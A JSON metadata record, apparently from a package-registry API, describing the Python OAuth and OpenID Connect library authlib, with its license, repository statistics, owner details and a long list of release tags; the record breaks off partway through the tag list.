{"id":338257,"name":"authlib","ecosystem":"pypi","description":"The ultimate Python library in building OAuth and OpenID Connect servers and clients.","homepage":null,"licenses":"BSD-3-Clause","normalized_licenses":["BSD-3-Clause"],"repository_url":"https://github.com/authlib/authlib","keywords_array":[],"namespace":null,"versions_count":70,"first_release_published_at":"2023-08-20T06:02:56.493Z","latest_release_published_at":"2026-11-05T16:13:16.000Z","latest_release_number":"1.9.5","latest_published_release_number":"1.9.5","last_synced_at":"2026-11-11T23:41:20.327Z","created_at":"2022-04-06T12:50:42.307Z","updated_at":"2026-11-12T10:45:43.017Z","registry_url":"https://pypi.org/project/authlib/","install_command":"pip install authlib --index-url https://pypi.org/simple","documentation_url":"https://docs.authlib.org/","metadata":{"funding":"https://github.com/sponsors/lepture","documentation":"https://docs.authlib.org/","classifiers":["Development Status :: 5 - Production/Stable","Environment :: Console","Environment :: Web Environment","Intended Audience :: Developers","License :: OSI Approved :: BSD License","Operating System :: OS Independent","Programming Language :: Python","Programming Language :: Python :: 3","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Programming Language :: Python :: Implementation :: CPython","Programming Language :: Python :: Implementation :: PyPy","Topic :: Internet :: WWW/HTTP :: Dynamic Content","Topic :: Internet :: WWW/HTTP :: WSGI :: Application","Topic :: Security","Topic :: Security :: Cryptography"],"normalized_name":"authlib","project_status":null},"repo_metadata":{"id":37896804,"uuid":"108510280","full_name":"authlib/authlib","owner":"authlib","description":"The ultimate Python library in building OAuth, OpenID Connect clients and servers. JWS, JWE, JWK, JWA, JWT included.","archived":false,"fork":false,"pushed_at":"2026-10-26T06:21:09.000Z","size":4109,"stargazers_count":5445,"open_issues_count":148,"forks_count":583,"subscribers_count":57,"default_branch":"main","last_synced_at":"2026-10-31T18:42:53.324Z","etag":null,"topics":["django","flask","jose","jwe","jwk","jws","jwt","oauth","oauth2","oauth2-provider","oauth2-server","oidc","openid-connect"],"latest_commit_sha":null,"homepage":"https://authlib.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/authlib.png","metadata":{"files":{"readme":"README.md","changelog":"changelog.d/20261014_142242_jm5343739_531_automatic_token_fetch.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":".github/CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":".github/SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":["authlib","lepture"]}},"created_at":"2017-10-27T06:52:26.000Z","updated_at":"2026-10-30T20:58:31.000Z","dependencies_parsed_at":"2026-10-24T07:42:54.033Z","dependency_job_id":null,"html_url":"https://github.com/authlib/authlib","commit_stats":{"total_commits":1301,"total_committers":125,"mean_commits":10.408,"dds":"0.14604150653343584","last_synced_commit":"fe12a578854fb64c8a3906676ba7d2a2b9579459"},"previous_names":["authlib/authlib"],"tags_count":61,"template":false,"template_full_name":null,"purl":"pkg:github/authlib/authlib","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/authlib","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/sbom","scorecard":null,"funding_links":["https://github.com/sponsors/authlib","https://github.com/sponsors/lepture"],"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":346510206,"owners_count":38564851,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-31T02:00:06.835Z","response_time":60,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"authlib","name":"Authlib","uuid":"32964472","kind":"organization","description":"The ultimate Python library in building OAuth and OpenID Connect servers.","email":null,"website":"https://authlib.org/","location":"Japan","twitter":"authlib","company":null,"icon_url":"https://avatars.githubusercontent.com/u/32964472?v=4","repositories_count":14,"last_synced_at":"2026-10-31T18:42:52.403Z","metadata":{"has_sponsors_listing":true,"funding":{"github":["authlib","lepture"]}},"html_url":"https://github.com/authlib","funding_links":["https://github.com/sponsors/authlib","https://github.com/sponsors/lepture"],"total_stars":7202,"followers":81,"following":0,"created_at":"2022-11-06T14:13:52.360Z","updated_at":"2026-10-31T18:42:52.420Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/authlib","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/authlib/repositories"},"tags":[{"name":"v1.9.5","sha":"42607cbc2135252a641a845e4ed7f94e3a922c47","kind":"tag","published_at":"2026-11-05T16:05:21.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.9.5","html_url":"https://github.com/authlib/authlib/releases/tag/v1.9.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.9.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.9.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.9.5/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.9.5"},{"name":"v1.9.4","sha":"9dffddfaea643835b92caefe05f1548f57bd1433","kind":"tag","published_at":"2026-11-04T08:58:38.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.9.4","html_url":"https://github.com/authlib/authlib/releases/tag/v1.9.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.9.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.9.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.9.4/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.9.4"},{"name":"v1.9.3","sha":"e90d1b19bf216e1359058b4cdb86ab557fb0a9f3","kind":"tag","published_at":"2026-11-03T09:11:29.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.9.3","html_url":"https://github.com/authlib/authlib/releases/tag/v1.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.9.3/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.9.3"},{"name":"v1.9.2","sha":"d74dc90ea0de493858f987ddba47e1fccfb0c2f3","kind":"tag","published_at":"2026-11-01T20:38:27.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.9.2","html_url":"https://github.com/authlib/authlib/releases/tag/v1.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.9.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.9.2"},{"name":"v1.9.1","sha":"46b94870d915ee77430da8fa2a358378d90b3a45","kind":"tag","published_at":"2026-10-14T14:16:33.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.9.1","html_url":"https://github.com/authlib/authlib/releases/tag/v1.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.9.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.9.1"},{"name":"v1.9.0","sha":"e8d50bd7dc442fde1364291df9c429d1da91c0cb","kind":"commit","published_at":"2026-10-14T07:54:01.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.9.0","html_url":"https://github.com/authlib/authlib/releases/tag/v1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.9.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.9.0"},{"name":"v1.8.0","sha":"1a86748b31a2b1940b09cf627d1b70e03d85c077","kind":"commit","published_at":"2026-08-30T12:11:11.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.8.0","html_url":"https://github.com/authlib/authlib/releases/tag/v1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.8.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.8.0"},{"name":"v1.7.2","sha":"a0b76fac3fa114d7759af2010546bfc332364b63","kind":"tag","published_at":"2026-05-06T08:08:58.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.7.2","html_url":"https://github.com/authlib/authlib/releases/tag/v1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.7.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.7.2"},{"name":"v1.7.1","sha":"485016a31b64e5aae93e5ce21b34517ce59ecf1d","kind":"tag","published_at":"2026-05-04T08:10:21.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.7.1","html_url":"https://github.com/authlib/authlib/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.7.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.7.1"},{"name":"v1.6.12","sha":"e46e515b3a87ea63ab0606b248d75f69d83a2391","kind":"tag","published_at":"2026-05-04T08:09:13.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.6.12","html_url":"https://github.com/authlib/authlib/releases/tag/v1.6.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.6.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.12/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.6.12"},{"name":"1.7.1","sha":"485016a31b64e5aae93e5ce21b34517ce59ecf1d","kind":"tag","published_at":"2026-05-04T08:01:45.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/1.7.1","html_url":"https://github.com/authlib/authlib/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/1.7.1/manifests","release_url":null},{"name":"v1.7.0","sha":"5d2e603ec5f10bd2c4bf20e2495c076370d65b74","kind":"commit","published_at":"2026-04-18T10:59:19.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.7.0","html_url":"https://github.com/authlib/authlib/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.7.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.7.0"},{"name":"v1.6.11","sha":"0dc0e5b4dc84f155319518a3732113af6fa47525","kind":"tag","published_at":"2026-04-16T07:18:05.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.6.11","html_url":"https://github.com/authlib/authlib/releases/tag/v1.6.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.6.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.11/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.6.11"},{"name":"v1.6.10","sha":"ef09aebbba4439dedb22bd15777d1b3458b6f0ab","kind":"commit","published_at":"2026-04-13T13:29:14.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.6.10","html_url":"https://github.com/authlib/authlib/releases/tag/v1.6.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.6.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.10/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.6.10"},{"name":"v1.6.9","sha":"9266eaa2227ad7e21dc731b2a4a01909aabd934b","kind":"commit","published_at":"2026-03-02T07:42:53.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.6.9","html_url":"https://github.com/authlib/authlib/releases/tag/v1.6.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.6.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.9/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.6.9"},{"name":"v1.6.8","sha":"a769f343ae8d43236448e3e74445980861812e82","kind":"commit","published_at":"2026-02-14T04:01:10.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.6.8","html_url":"https://github.com/authlib/authlib/releases/tag/v1.6.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.6.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.8/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.6.8"},{"name":"v1.6.7","sha":"38e872a3f5b97d2658507acc8762a4e18adaa50e","kind":"commit","published_at":"2026-02-06T14:02:52.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.6.7","html_url":"https://github.com/authlib/authlib/releases/tag/v1.6.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.6.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.7/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.6.7"},{"name":"v1.6.6","sha":"bb7a315befbad333faf9a23ef574d6e3134a6774","kind":"commit","published_at":"2025-12-12T07:59:43.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.6.6","html_url":"https://github.com/authlib/authlib/releases/tag/v1.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.6/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.6.6"},{"name":"v1.6.5","sha":"9ec42561cd1a81b518598d252f8adbcf446f7419","kind":"commit","published_at":"2025-10-02T13:31:28.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.6.5","html_url":"https://github.com/authlib/authlib/releases/tag/v1.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.5/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.6.5"},{"name":"v1.6.4","sha":"09a51855747c13771a74958e233a6bf1fd143741","kind":"commit","published_at":"2025-09-17T09:58:16.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.6.4","html_url":"https://github.com/authlib/authlib/releases/tag/v1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.4/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.6.4"},{"name":"v1.6.3","sha":"dbbfa9abcfe725001b452cf08d9e48be0ebfdce9","kind":"tag","published_at":"2025-08-26T12:04:43.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.6.3","html_url":"https://github.com/authlib/authlib/releases/tag/v1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.3/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.6.3"},{"name":"v1.6.2","sha":"3385fbf804f0c32ccfadf21611cf893aabc1b0c0","kind":"tag","published_at":"2025-08-23T08:28:25.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.6.2","html_url":"https://github.com/authlib/authlib/releases/tag/v1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.6.2"},{"name":"v1.6.1","sha":"ef3d5733198570b8cff7a0b4f41988cfe9cf2b69","kind":"commit","published_at":"2025-07-20T07:37:14.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.6.1","html_url":"https://github.com/authlib/authlib/releases/tag/v1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.6.1"},{"name":"v1.6.0","sha":"fe87a117f941975793bf4063e9b08b90e88b230a","kind":"tag","published_at":"2025-05-22T12:58:35.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.6.0","html_url":"https://github.com/authlib/authlib/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.6.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.6.0"},{"name":"v1.5.2","sha":"fb698d796e4b39fd1bbfd008181bfa8cea33c67b","kind":"tag","published_at":"2025-04-02T10:30:34.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.5.2","html_url":"https://github.com/authlib/authlib/releases/tag/v1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.5.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.5.2"},{"name":"v1.5.1","sha":"4eafdc21891e78361f478479efe109ff0fb2f661","kind":"tag","published_at":"2025-02-28T14:43:15.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.5.1","html_url":"https://github.com/authlib/authlib/releases/tag/v1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.5.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.5.1"},{"name":"v1.5.0","sha":"2d0396e3fc49d53ab816bb43ec83fe42d527ca09","kind":"tag","published_at":"2025-02-25T09:53:21.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.5.0","html_url":"https://github.com/authlib/authlib/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.5.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.5.0"},{"name":"v1.4.1","sha":"0e8f480e9c9a91ab3dc8017de70f59014e66664d","kind":"commit","published_at":"2025-01-28T13:04:22.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.4.1","html_url":"https://github.com/authlib/authlib/releases/tag/v1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.4.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.4.1"},{"name":"v1.4.0","sha":"eb34edfc8b1fdaae51a91d4686ebb34395e5082c","kind":"commit","published_at":"2024-12-20T07:26:03.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.4.0","html_url":"https://github.com/authlib/authlib/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.4.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.4.0"},{"name":"v1.3.2","sha":"d7db2c33226983648b91e3ec0d9cf2e43dc480d4","kind":"commit","published_at":"2024-08-24T05:08:50.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.3.2","html_url":"https://github.com/authlib/authlib/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.3.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.3.2"},{"name":"v1.3.1","sha":"df226ab587c453029ef5083a7e1c5dc6772647dd","kind":"commit","published_at":"2024-06-04T02:38:10.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.3.1","html_url":"https://github.com/authlib/authlib/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.3.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.3.1"},{"name":"v1.3.0","sha":"a7d68b4c3b8a3a7fe0b62943b5228669f2f3dfec","kind":"commit","published_at":"2023-12-17T07:55:15.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.3.0","html_url":"https://github.com/authlib/authlib/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/authlib/authlib@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/tags/v1.3.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/releases/v1.3.0"},{"name":"v1.2.1","sha":"a18d0a5ad183eb58b4db7479f3f7da71398a8667","kind":"commit","published_at":"2023-06-25T12:52:53.000Z","download_url":"https://codeload.github.com/authlib/authlib/tar.gz/v1.2.1","html_url":"https://github.com/authlib/authlib/releases/tag/v1.2.1","depend